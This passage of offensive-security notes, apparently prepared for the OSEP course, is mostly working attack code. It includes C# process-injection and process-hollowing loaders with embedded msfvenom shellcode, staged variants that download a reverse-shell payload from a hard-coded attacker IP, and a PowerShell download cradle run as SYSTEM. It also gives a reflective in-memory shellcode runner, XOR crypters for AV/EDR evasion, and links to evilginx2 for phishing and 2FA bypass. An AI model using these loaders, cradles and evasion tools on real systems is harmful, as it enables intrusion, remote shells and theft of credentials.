    //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    [DllImport("kernel32.dll")]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);

    private static UInt32 MEM_COMMIT = 0x1000;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
    private static UInt32 SUSPEND_RESUME = 0x0002;

    public static void Main()
    {


// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp 
        byte[] shellcode = new byte[193] {0xfc,0xe8,0x82,0x00,0x00,0x00,
0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,
0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,
0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,
0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,
0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,
0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,
0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};


        string proc = "userinit.exe";

        Process newproc;
        newproc = Process.Start(proc);
        Console.WriteLine("Started " + proc + " with Process Id:" + newproc.Id);
        Console.WriteLine("Suspending process...");
        foreach (ProcessThread thread in newproc.Threads)
        {
            IntPtr pOpenThread;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
            if (pOpenThread == IntPtr.Zero)
            {
                break;
            }
            SuspendThread(pOpenThread);
        }
        Console.WriteLine("Suspended!");

        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);

        IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        Console.WriteLine("Allocating memory");
        WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);
        Console.WriteLine("Copied shellcode in memory");
        IntPtr pinfo = IntPtr.Zero;
        IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
        Console.WriteLine("Created remote thread");
        Console.WriteLine("Resuming process...");

        foreach (ProcessThread thread in newproc.Threads)
        {
            IntPtr pOpenThread;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
            if (pOpenThread == IntPtr.Zero)
            {
                break;
            }
            ResumeThread(pOpenThread);
        }
        Console.WriteLine("Resumed!");


    }

}

Staged – Download payload through CIFS/SMB

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;

namespace ProcessHollowingExample
{
    internal class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

        [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,
            uint ProcInfoLen, ref uint retlen);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern uint ResumeThread(IntPtr hThread);

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        struct STARTUPINFO
        {
            public Int32 cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_BASIC_INFORMATION
        {
            public IntPtr Reserved1;
            public IntPtr PebAddress;
            public IntPtr Reserved2;
            public IntPtr Reserved3;
            public IntPtr UniquePid;
            public IntPtr MoreReserved;
        }

        static void Main(string[] args)
        {
            string targetPath = "C:\\Windows\\System32\\svchost.exe";
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
            string shellcodePath = "path_to_shellcode.bin"; // Replace with the actual shellcode file path
            IntPtr processHandle, threadHandle;
            uint threadId;
            
            // Create a suspended process
            STARTUPINFO si = new STARTUPINFO();
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,
                false, 0x4, IntPtr.Zero, null, ref si, out pi);

            if (!success)
            {
                Console.WriteLine("CreateProcess failed: " + Marshal.GetLastWin32Error());
                return;
            }

            // Query process information to get the PEB address
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
            uint tmp = 0;
            IntPtr hProcess = pi.hProcess;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);

            // Calculate the address of the EntryPoint
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
            byte[] addrBuf = new byte[IntPtr.Size];
            IntPtr nRead = IntPtr.Zero;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));

            // Read the PE header to locate the EntryPoint
            byte[] peHeader = new byte[0x200];
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);
            uint opthdr = e_lfanew_offset + 0x28;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);

            // Read the shellcode
            byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath);

            // Overwrite the EntryPoint with the shellcode
            IntPtr nWritten = IntPtr.Zero;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);

            // Resume the suspended thread
            ResumeThread(pi.hThread);

            Console.WriteLine("Shellcode injected and executed successfully.");
        }
    }
}

Staged – Download payload over HTTP/HTTPS

using System;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading.Tasks;

namespace ProcessHollowingExample
{
    internal class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

        [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,
            uint ProcInfoLen, ref uint retlen);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern uint ResumeThread(IntPtr hThread);

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        struct STARTUPINFO
        {
            public Int32 cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_BASIC_INFORMATION
        {
            public IntPtr Reserved1;
            public IntPtr PebAddress;
            public IntPtr Reserved2;
            public IntPtr Reserved3;
            public IntPtr UniquePid;
            public IntPtr MoreReserved;
        }

        static async Task Main(string[] args)
        {
            string targetPath = "C:\\Windows\\System32\\notepad.exe";
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
            string shellcodeUrl = "http://192.168.1.126/shellcode.bin"; // Replace with the actual URL of the shellcode binary
            IntPtr processHandle, threadHandle;
            uint threadId;

            // Create a suspended process
            STARTUPINFO si = new STARTUPINFO();
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,
                false, 0x4, IntPtr.Zero, null, ref si, out pi);

            if (!success)
            {
                Console.WriteLine("CreateProcess failed: " + Marshal.GetLastWin32Error());
                return;
            }

            // Query process information to get the PEB address
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
            uint tmp = 0;
            IntPtr hProcess = pi.hProcess;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);

            // Calculate the address of the EntryPoint
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
            byte[] addrBuf = new byte[IntPtr.Size];
            IntPtr nRead = IntPtr.Zero;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));

            // Read the PE header to locate the EntryPoint
            byte[] peHeader = new byte[0x200];
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);
            uint opthdr = e_lfanew_offset + 0x28;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);

            // Read the shellcode from the specified URL
            byte[] shellcode;
            using (HttpClient client = new HttpClient())
            {
                try
                {
                    shellcode = await client.GetByteArrayAsync(shellcodeUrl);
                }
                catch (Exception ex)
                {
                    Console.WriteLine("Error downloading shellcode: " + ex.Message);
                    return;
                }
            }

            // Overwrite the EntryPoint with the downloaded shellcode
            IntPtr nWritten = IntPtr.Zero;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);

            // Resume the suspended thread
            ResumeThread(pi.hThread);

            Console.WriteLine("Shellcode injected and executed successfully.");
        }
    }
}

Phishing

Bypass 2-Fa

Hackers Bypass Google Two-Factor Authentication (2FA) SMS – YouTube

GitHub – kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication

Proxy-aware PowerShell Cradle

A proxy is an intermediary server that sits between a user’s computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations.

192.168.168.11 – Victim

192.168.168.12 – Proxy server

Setting up proxy

List of proxy-aware PowerShell cradles

  1. Net.WebClient (as you’ve seen)
   $wc = New-Object System.Net.WebClient
   $wc.DownloadString('http://example.com/script.ps1')

The Net.WebClient class respects the system proxy settings by default.

  1. Invoke-WebRequest and Invoke-RestMethod
   Invoke-WebRequest -Uri 'http://example.com/script.ps1'

or

   Invoke-RestMethod -Uri 'http://example.com/script.ps1'

These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the -Proxy parameter.

  1. System.Net.HttpWebRequest
   $req = [System.Net.HttpWebRequest]::Create('http://example.com/script.ps1')
   $resp = $req.GetResponse()
   $sr = New-Object IO.StreamReader($resp.GetResponseStream())
   $result = $sr.ReadToEnd()

Like Net.WebClient, the HttpWebRequest class also respects system proxy settings by default. Its behavior can be altered by changing the .Proxy property of the request object.

  1. BitsTransfer
   Import-Module BitsTransfer
   Start-BitsTransfer -Source 'http://example.com/script.ps1' -Destination 'path\to\save'

The BitsTransfer module is used to transfer files, and it is proxy-aware. It respects system proxy settings.

SYSTEM Proxy with Net.WebClient

Create a Proxy Configuration for SYSTEM

  • Proxy settings per user are stored in the registry at:
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings
  • When accessing as SYSTEM, HKEY_CURRENT_USER does not exist. Use HKEY_USERS instead.

PowerShell to Setup Proxy for SYSTEM Integrity

  1. Map HKEY_USERS registry hive:
   New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null
  1. Find the correct user hive based on SID:
   $keys = Get-ChildItem 'HKU:\'
   ForEach ($key in $keys) {
       if ($key.Name -like "*S-1-5-21-*") {
           $start = $key.Name.substring(10)
           break
       }
   }
  1. Fetch the proxy settings:
   $proxyAddr = (Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServer
  1. Create and assign the proxy object:
   [system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy("http://$proxyAddr")
   $wc = new-object system.net.WebClient
   $wc.DownloadString("http://192.168.119.120/run2.ps1")

Full Code for SYSTEM Proxy-Aware Download Cradle

New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null
$keys = Get-ChildItem 'HKU:\'
ForEach ($key in $keys) {
    if ($key.Name -like "*S-1-5-21-*") {
        $start = $key.Name.substring(10)
        break
    }
}
$proxyAddr = (Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServer
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy("http://$proxyAddr")
$wc = new-object system.net.WebClient
$wc.DownloadString("http://192.168.119.120/run2.ps1")

Note

  • Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping HKEY_USERS will persist across reruns.

Reflection Load (In-memory)

Powershell

Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim.

This code below is same as Simple Shellcode Runner Powershell Ver 2.

function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
              Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
              Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {
        If($_.Name -eq "GetProcAddress") {
            $tmp+=$_
        }
    }
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
    @($moduleName)), $functionName))
}

function getDelegateType {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
            DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
            DefineDynamicModule('InMemoryModule', $false).
            DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
            [System.MulticastDelegate])
    $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
    [System.Reflection.CallingConventions]::Standard, $func).
    SetImplementationFlags('Runtime, Managed')
    $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
    SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

$lpMem =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (LookupFunc kernel32.dll VirtualAlloc),
    (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

$hThread =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (LookupFunc kernel32.dll CreateThread),
    (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (LookupFunc kernel32.dll WaitForSingleObject),
    (getDelegateType @([IntPtr], [Int32]) ([Int]))
).Invoke($hThread, 0xFFFFFFFF)

Shellcode obfuscation script

There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all.

Espio

Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)

# The obfuscation method usid is xor 
def obfuscate_payload(payload, key):
    encrypted_payload = ""
    for i in range(len(payload)):
        obf_char = chr(payload[i] ^ ord(key[i % len(key)]))
        hex_char = hex(ord(obf_char))
        if len(hex_char) == 3:
            hex_char = f"0x0{hex_char[-1]}"
        encrypted_payload += hex_char
    encrypted_payload_bytes = encrypted_payload.encode("UTF-8")
    obfuscated_payload_bytes = base64.b64encode(encrypted_payload_bytes)
    obfuscated_payload = obfuscated_payload_bytes.decode("UTF-8")
    return "".join(obfuscated_payload)


def generate_key():
    letters = [chr(ascii_value) for ascii_value in range(33, 127)]
    key = "".join(random.choices(letters, k=random.randint(100, 500)))
    return key

# In main.cpp the decryption routine
	int keyIndex = 0;
	for (int i = 0; i < encryptedPayloadSize; i += 4)
	{
		std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];
		payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];
	}

Scarecrow

optiv/ScareCrow: ScareCrow – Payload creation framework designed around EDR bypass. (github.com)

ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process’s memory. This works because we know the EDR’s hooks are placed when a process is spawned.

Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)

We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques.

ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader.

/opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com

# Check -h for detailed info. 

ShellCrypt

iilegacyyii/Shellcrypt: A QoL tool to obfuscate shellcode. In the future will be able to chain encoding/encryption/compression methods. (github.com)

Encryption Methods

  • AES (128-bit CBC)
  • ChaCha20
  • RC4
  • Salsa20
  • XOR

Supported Formats

  • C
  • C#
  • Nim
  • Golang
  • Python
  • Powershell
  • Visual Basic for Applications (VBA)
  • Visual Basic Script (VBS)
  • Rust
  • Raw
python3 shellcrypt.py -i shellcode.bin -e xor -f csharp 

Shellcode injection techniques

plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)

From github: “A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload.”

  • Assembly Injection
  • Shellcode Runner
  • Classic Injection
  • Thread Hijacking
  • Local Thread Hijacking
  • Asychronous Procedure Call Injection
  • Process Hollowing
  • Inter-Process Mapped View
  • Atom Bombing

Shellcode Encryptors

Shellcode Encryptors – Helper code

Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them.

ShellcodeCrypter-bin.py

┌──(root㉿kali)-[/home/kali/Desktop/osep]
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin


┌──(root㉿kali)-[/home/kali/Desktop/osep]
└─# python3 shellcode-bin.py shell.bin cs xor 0xfa
[i] Generating payload for path shell.bin.
[i] Encoding payload with type xor and key 0xfa
[+] Encoded payload (CSharp):
// Payload xor-encoded with key 0xfa
byte[] buf = new byte[68] {
0xcb,0x21,0x0d,0x19,0xa9,0xb9,0xa9,0x90,0xf8,0x73,0x1b,0x4a,0x9c,
0x37,0x7a,0x69,0xa3,0x4a,0xc5,0x37,0x7a,0xb3,0x83,0x03,0x92,0x3a,
0x52,0xd7,0x66,0x92,0xf8,0xfa,0xfb,0x41,0x73,0x1b,0x4a,0x9c,0xaa,
0xab,0xa9,0x49,0xf9,0x73,0x1b,0x37,0x7a,0xa8,0x92,0x94,0xd5,0x89,
0x92,0x92,0xd5,0xd5,0x98,0x93,0x73,0x19,0xa8,0xa9,0x73,0x1b,0x4a,
0xf1,0x37,0x7a
};

[i] Decoding function:
for (int i = 0; i < buf.Length; i++)
    {
        buf[i] = (byte)((uint)buf[i] ^ 0xfa);
    }
# ShellcodeCrypter-bin.py


#!/usr/bin/python3

# Basic shellcode crypter for C# payloads
# By Cas van Cooten

import re
import platform
import argparse
import subprocess
from random import randint

if platform.system() != "Linux":
    exit("[x] ERROR: Only Linux is supported for this utility script.")

class bcolors:
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'

# Parse input arguments
def auto_int(x):
    return int(x, 0)

parser = argparse.ArgumentParser()
parser.add_argument("path", help="the path to load the raw shellcode payload from", nargs='?', default="/tmp/payload.bin")
parser.add_argument("format", help="the language to format the output in ('cs' or 'cpp')", nargs='?', default="cs")
parser.add_argument("encoding", help="the encoding type to use ('xor' or 'rot')", nargs='?', default="xor")
parser.add_argument("key", help="the key to encode the payload with (integer)", type=auto_int, nargs='?', default=randint(1,255))
args = parser.parse_args()

# Generate the shellcode given the input path
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.")
try:
    with open(args.path, "rb") as f:
        payload = f.read()

except:
    exit(f'{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}')

# Format the output payload
if args.format == "cs": 
    # Encode the payload with the chosen type and key
    print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}")
    encodedPayload = []
    payloadFormatted = ""
    for byte in payload:
        byteInt = int(byte)

        if args.encoding == "xor":
            byteInt = byteInt ^ args.key
        elif args.encoding == "rot":
            byteInt = byteInt + args.key & 255
        else:
            exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}")

        encodedPayload.append("{0:#0{1}x}".format(byteInt,4))

    payLen = len(encodedPayload)
    encodedPayload = re.sub("(.{65})", "\\1\n", ','.join(encodedPayload), 0, re.DOTALL)
    payloadFormatted += f"// Payload {args.encoding}-encoded with key {hex(args.key)}\n"
    payloadFormatted += f"byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};"
    if payLen > 1000:
        f = open("/tmp/payload.txt", "w")
        f.write(payloadFormatted)
        f.close()
        print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}")
    else:
        print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}")
        print(payloadFormatted + "\n")

    print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
    if args.encoding == "xor":
        decodingFunc = f"""for (int i = 0; i < buf.Length; i++)
    {{
        buf[i] = (byte)((uint)buf[i] ^ {hex(args.key)});
    }}"""

    if args.encoding == "rot":
        decodingFunc = f"""for (int i = 0; i < buf.Length; i++)
    {{
        buf[i] = (byte)(((uint)buf[i] - {hex(args.key)}) & 0xFF);
    }}"""

    print(decodingFunc)

elif args.format == "cpp":
    # Encode the payload with the chosen type and key
    print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}")
    encodedPayload = []
    payloadFormatted = ""
    for byte in payload:
        byteInt = int(byte)

        if args.encoding == "xor":
            byteInt = byteInt ^ args.key
        elif args.encoding == "rot":
            byteInt = byteInt + args.key & 255
        else:
            exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}")

        encodedPayload.append(f"\\x{byteInt:02x}")

    payLen = len(encodedPayload)
    encodedPayload = re.sub("(.{68})", "    \"\\1\"\n", ''.join(encodedPayload), 0, re.DOTALL)
    payloadFormatted += f"// Payload {args.encoding}-encoded with key {hex(args.key)}\n"
    payloadFormatted += f"unsigned char buffer[] = \n    {encodedPayload.strip()};"
    if payLen > 1000:
        f = open("/tmp/payload.txt", "w")
        f.write(payloadFormatted)
        f.close()
        print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}")
    else:
        print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}")
        print(payloadFormatted + "\n")

    # Provide the decoding function for the heck of it
    print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
    if args.encoding == "xor":
        decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});
        """

    if args.encoding == "rot":
        decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} & 255);
        """

    print(decodingFunc)

else:
    exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose 'cs' for CSharp or 'cpp' for C++).{bcolors.ENDC}") 

shellcodeCrypter-msfvenom.py

┌──(root㉿kali)-[/home/kali/Desktop/osep]
└─# python3 shellcodecrypter.py 192.168.45.156 443 cpp xor 0xfa linux/x64/meterpreter/reverse_tcp
[i] Generating payload linux/x64/meterpreter/reverse_tcp for LHOST=192.168.45.156 and LPORT=443
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
